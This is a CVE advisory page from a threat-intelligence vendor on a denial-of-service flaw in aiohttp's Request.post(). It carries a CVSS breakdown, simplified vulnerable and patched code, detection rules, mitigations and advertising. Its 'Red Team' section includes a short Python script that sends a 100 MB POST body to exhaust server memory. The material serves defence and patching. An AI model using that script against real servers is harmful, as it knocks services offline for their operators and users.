☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Aiohttp logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-770
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-69228

CVE-2025-69228 Supply Chain Attack in Aiohttp
📅 PUBLISHED: 2026-01-05 23:30 UTC 🔄 UPDATED: 2026-10-02 19:31 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
9.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Affected: Aiohttp — upgrade to patched release
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-69228 is a high-severity denial-of-service (DoS) vulnerability in the AIOHTTP library, an asynchronous HTTP client/server framework for Python. Versions 3.13.2 and below are vulnerable to a resource exhaustion attack. An attacker can craft a malicious HTTP request that, when processed by a server handler using the Request.post() method, causes uncontrolled memory consumption, potentially freezing the server. The vulnerability is fixed in version 3.13.3. No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward and requires no authentication.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the PyPI package aiohttp. Organizations using AIOHTTP in their Python applications should immediately audit their dependencies. The attack targets the Request.post() method, which is commonly used in web applications to parse POST request bodies. Since the vulnerability is in a core library function, any application using this method is at risk. Supply chain security teams should verify that no internal or third-party packages depend on vulnerable versions of AIOHTTP.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Base Score: 7.5 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: None (I:N)
  • Availability Impact: High (A:H)

The vulnerability is rated High due to the ease of exploitation and the potential for complete denial of service. An unauthenticated attacker can send a single crafted request to exhaust server memory, causing the application to become unresponsive.

Deep Dive & Mechanics

The vulnerability lies in how AIOHTTP handles POST request bodies when the Request.post() method is called. In vulnerable versions, the library does not properly limit the size of the request body that can be read into memory. An attacker can send a request with a very large or specially crafted body that causes the server to allocate memory uncontrollably.

The Request.post() method is designed to parse form data or JSON from the request body. However, if the body is malformed or excessively large, the internal parsing logic may attempt to buffer the entire content in memory without proper bounds checking. This leads to memory exhaustion, which can freeze the server or cause it to crash.

The fix in version 3.13.3 introduces memory limits and proper validation during the parsing of POST data, preventing uncontrolled allocation.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.13.2):

# Simplified representation of the vulnerable behavior
async def post(self):
    # No size limit on body reading
    body = await self.read()
    # Process body without memory checks
    return await self._parse_post_data(body)

Patched Code (>= 3.13.3):

# Simplified representation of the patched behavior
async def post(self):
    # Enforce a maximum body size
    max_size = self._max_post_size  # e.g., 1 MB
    body = await self.read(max_size)
    if len(body) > max_size:
        raise HTTPRequestEntityTooLarge()
    return await self._parse_post_data(body)

The patched version introduces a configurable maximum size for POST data, preventing memory exhaustion.

Exploitation & Lab Setup

Red Team

Since no public exploit code is available, a proof-of-concept can be developed. The attack involves sending a large POST request to a vulnerable AIOHTTP endpoint that uses Request.post().

Example Python script to test:

import requests

url = "http://target:8080/endpoint"
# Send a very large body (e.g., 100 MB)
payload = "A" * 100_000_000
try:
    response = requests.post(url, data=payload, timeout=10)
    print(f"Response: {response.status_code}")
except requests.exceptions.Timeout:
    print("Server may be frozen")

Lab Setup:

  1. Deploy a vulnerable AIOHTTP server (version 3.13.2) with a simple POST handler.
  2. Run the exploit script to observe memory exhaustion.
  3. Monitor server memory usage with tools like top or htop.

Blue Team

Detection:

  • Monitor for unusually large POST request bodies in web server logs.
  • Set up alerts for memory usage spikes on AIOHTTP servers.
  • Use network monitoring to detect anomalous traffic patterns.

Mitigation:

  • Immediately upgrade to AIOHTTP 3.13.3 or later.
  • If upgrade is not possible, implement a reverse proxy (e.g., Nginx) with request body size limits.
  • Apply rate limiting to POST endpoints.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests with body sizes exceeding normal application limits (e.g., > 10 MB).
  • System: High memory usage by Python processes running AIOHTTP.
  • Logs: Server logs showing MemoryError or OutOfMemory exceptions.
  • File: No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_69228_AIOHTTP_Memory_Exhaustion {
    meta:
        description = "Detects AIOHTTP versions vulnerable to CVE-2025-69228"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-69228"
    strings:
        $aiohttp_version = /aiohttp\s+3\.13\.[0-2]/ nocase
    condition:
        $aiohttp_version
}

Sigma Rule

title: CVE-2025-69228 - AIOHTTP Memory Exhaustion via POST
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects large POST requests targeting AIOHTTP servers
logsource:
    category: webserver
    product: aiohttp
detection:
    selection:
        method: POST
        body_length: > 10000000  # 10 MB
    condition: selection
falsepositives:
    - Legitimate large file uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69228 - AIOHTTP Memory Exhaustion Attempt"; flow:to_server; http.method; content:"POST"; http.request_body; length:>10000000; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade AIOHTTP to version 3.13.3 or later.
  2. Workaround: If upgrade is not possible, configure a reverse proxy (e.g., Nginx) to limit request body size:
    client_max_body_size 10M;
    
  3. Monitoring: Implement memory usage monitoring and alerting for AIOHTTP processes.
  4. Network: Deploy Web Application Firewall (WAF) rules to block excessively large POST requests.
  5. Code Review: Audit all uses of Request.post() in your codebase and ensure proper input validation.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-69228/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.